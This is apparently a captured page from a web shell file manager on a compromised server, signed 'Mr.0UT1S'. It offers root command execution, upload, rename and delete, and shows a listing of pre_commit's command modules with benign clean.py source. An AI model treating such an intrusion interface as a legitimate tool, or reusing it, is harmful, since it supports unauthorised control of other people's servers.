opt
/
hc_python
/
lib
/
python3.12
/
site-packages
/
pre_commit
/
commands
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
[DIR] __pycache__
N/A
__init__.py
0 bytes
Rename
Delete
autoupdate.py
6.99 KB
Rename
Delete
clean.py
429 bytes
Rename
Delete
gc.py
2.74 KB
Rename
Delete
hook_impl.py
9.18 KB
Rename
Delete
init_templatedir.py
1.11 KB
Rename
Delete
install_uninstall.py
5.22 KB
Rename
Delete
migrate_config.py
4.06 KB
Rename
Delete
run.py
13.78 KB
Rename
Delete
sample_config.py
453 bytes
Rename
Delete
try_repo.py
2.52 KB
Rename
Delete
validate_config.py
371 bytes
Rename
Delete
validate_manifest.py
377 bytes
Rename
Delete
from __future__ import annotations import os.path from pre_commit import output from pre_commit.store import Store from pre_commit.util import rmtree def clean(store: Store) -> int: legacy_path = os.path.expanduser('~/.pre-commit') for directory in (store.directory, legacy_path): if os.path.exists(directory): rmtree(directory) output.write_line(f'Cleaned {directory}.') return 0
Save